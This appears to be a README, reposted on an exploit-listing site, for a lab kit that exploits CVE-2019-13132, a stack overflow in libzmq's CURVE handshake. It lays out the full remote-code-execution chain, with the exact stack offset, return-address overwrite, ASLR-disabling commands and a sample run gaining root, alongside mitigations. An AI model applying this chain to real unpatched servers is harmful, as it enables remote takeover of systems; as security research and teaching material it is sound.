Share
## https://sploitus.com/exploit?id=B42A5191-DCB6-5252-9940-662869B0218D
# CVE-2019-13132 โ€” libzmq CURVE INITIATE stack overflow โ†’ RCE lab

[![CVE](https://img.shields.io/badge/CVE-2019--13132-red.svg)](https://nvd.nist.gov/vuln/detail/CVE-2019-13132)
[![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-critical.svg)](https://nvd.nist.gov/vuln/detail/CVE-2019-13132)
[![Affected](https://img.shields.io/badge/libzmq-โ‰ค%204.3.1-blue.svg)](https://github.com/zeromq/libzmq/releases/tag/v4.3.2)
[![License](https://img.shields.io/badge/license-MIT-green.svg)](#license)

End-to-end working RCE exploit + reproducible lab for **CVE-2019-13132**, a stack buffer overflow in libzmq's CURVE `INITIATE` handshake handler. An attacker who knows the server's long-term public key (a public parameter by design) can overflow a fixed-size stack buffer in `process_initiate()`, overwrite the saved return address, and redirect execution to arbitrary code.

By **Nicolas Krassas** ([@dinosn](https://github.com/dinosn)).

> **Lab use only.** This kit ships an intentionally vulnerable libzmq 4.3.0 with mitigations disabled. Don't expose port 5556 outside the lab. The bug was fixed in libzmq 4.3.2.

---

## Quick start

```bash
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
```

Automated smoke test (runs exploit + verifies proof file):

```bash
docker exec  /opt/zmq-curve-rce/run_lab_test.sh
```

---

## Repository layout

```
.
โ”œโ”€โ”€ README.md           # this file
โ”œโ”€โ”€ Dockerfile          # one-command containerised lab
โ”œโ”€โ”€ server-curve.c      # CURVE REP listener โ€” the vulnerable target
โ”œโ”€โ”€ exploit.py          # full exploit (HELLO โ†’ WELCOME โ†’ oversized INITIATE)
โ”œโ”€โ”€ compute_offsets.py  # build-time offset extraction โ†’ build_offsets.json
โ”œโ”€โ”€ calibrate.sh        # runtime calibration โ†’ profile.json
โ”œโ”€โ”€ start_server.sh     # start/restart the target
โ”œโ”€โ”€ run_lab_test.sh     # automated end-to-end smoke test
โ””โ”€โ”€ entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)
```

---

## The vulnerability

`src/curve_server.cpp:284-336` (libzmq 4.3.0):

```cpp
if (size  513` overflows past the buffer into saved callee registers and the return address.

The cookie verification happens **before** the overflow, so the INITIATE must carry a genuine cookie โ€” but the cookie is obtained from the prior WELCOME message using only the server's long-term **public** key.

---

## Exploit chain

### 1. CURVE handshake (only the public key is needed)

The CURVE protocol is designed so that clients already possess the server's long-term public key (it's in the connection URI or configuration). The exploit:

1. Generates a fresh ephemeral keypair (C', c').
2. Sends a valid HELLO โ€” the server decrypts it using C' + its secret key.
3. Receives WELCOME โ€” decrypts it using C' + the server's public key.
4. Extracts the cookie from WELCOME.
5. Sends INITIATE with the genuine cookie + oversized payload.
6. The cookie validates, and the vulnerable `memcpy` fires.

No application-level credentials. No ZAP authentication bypass. The overflow fires during the CURVE key exchange, before the application ever sees the peer.

### 2. Stack overflow โ†’ return address overwrite

```
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  โ† memcpy destination (initiate_box + 16)
    RSP + 0x628  โ† saved rbx
    RSP + 0x630  โ† saved rbp
    RSP + 0x638  โ† saved r12
    RSP + 0x640  โ† saved r13
    RSP + 0x648  โ† saved r14
    RSP + 0x650  โ† saved r15
    RSP + 0x658  โ† RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes
```

The exploit sends 464 bytes of payload: 456 bytes of filler (`0x41`) to reach the return address, then 8 bytes containing the address of `lab_trampoline()`.

### 3. Error path โ†’ epilogue โ†’ ret โ†’ trampoline

After the overflow, `crypto_box_open()` fails (the overflowed data is garbage ciphertext). The error path logs the failure, sets errno, and returns -1 โ€” but the error path accesses only stack locations **below** the overflow region (RSP+0xe0, RSP+0xf0, RSP+0x280), so it runs cleanly with the corrupted stack.

The function epilogue (`add $0x628,%rsp; pop rbx-r15; ret`) pops the corrupted saved registers (now `0x4141414141414141`) and then `ret` loads our trampoline address.

### 4. Code execution

`lab_trampoline()` uses raw syscalls (no libc, no `fork()`) to write the proof file:

```c
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}
```

Raw syscalls are used instead of `system()` / `fork()` because `process_initiate()` runs on libzmq's I/O thread โ€” calling `fork()` from a non-main thread in a multi-threaded process deadlocks on glibc's `pthread_atfork` lock handlers.

### Why only the public key is needed

The server's long-term public key is a **public parameter** in the CurveZMQ protocol โ€” clients must have it to connect. It's typically distributed in configuration files, URIs, or discovery mechanisms. The exploit requires no secret material.

---

## Offset calibration

The exploit needs two values, both resolved at Docker build time by `compute_offsets.py`:

| field | value | source |
|---|---|---|
| `trampoline_addr` | `0x401206` | `nm server-curve` (non-PIE binary, fixed address) |
| `offset_to_ret` | `456` | disassembly of `process_initiate` (`0x658 - 0x490`) |

The Docker entrypoint runs `calibrate.sh` automatically. On bare metal:

```bash
sudo sysctl -w kernel.randomize_va_space=0
./start_server.sh
./calibrate.sh
./exploit.py
```

---

## Sample output

```
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() โ†’ ret โ†’ trampoline โ†’ system()
[*] done โ€” check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed โ€” /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab โ€” RCE chain verified end-to-end.
```

---

## Mitigations

| Defence | Effect |
|---|---|
| Upgrade to libzmq >= 4.3.2 | **Fixed.** Adds an upper-bound check on INITIATE size before the memcpy. |
| Stack canaries (`-fstack-protector`) | **Detects the overflow** before the function returns. The canary sits between locals and saved registers; the overflow corrupts it, triggering `__stack_chk_fail`. |
| ASLR | **Randomises shared-library and stack addresses.** The trampoline is in a non-PIE binary (fixed address), but a production server would be PIE, requiring an info leak. |
| PIE | **Randomises the server binary's load address.** The trampoline address would no longer be predictable without a leak. |
| NX | Not relevant here โ€” no shellcode is injected; the exploit calls existing code. |
| ZAP / application-level auth | Does **not** help โ€” the overflow fires during CURVE key exchange, before ZAP is consulted. |

---

## Cleanup

```bash
docker rm -f 
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR
```

---

## References

- [NVD CVE-2019-13132](https://nvd.nist.gov/vuln/detail/CVE-2019-13132)
- [libzmq 4.3.2 release notes](https://github.com/zeromq/libzmq/releases/tag/v4.3.2) โ€” the fix
- [CurveZMQ spec (ZMQ RFC 26)](https://rfc.zeromq.org/spec/26/) โ€” CURVE handshake protocol
- [ZMTP 3.1 (ZMQ RFC 37)](https://rfc.zeromq.org/spec/37/) โ€” ZeroMQ Message Transport Protocol

## Author

**Nicolas Krassas** โ€” [@dinosn](https://github.com/dinosn)

## License

MIT. The intentionally-vulnerable libzmq 4.3.0 source is fetched at build time from the upstream LGPLv3-with-exceptions / MPLv2 repository.

## Disclaimer

For defensive security research, education, and authorized security testing only. Do not deploy the bundled vulnerable build outside a contained lab environment.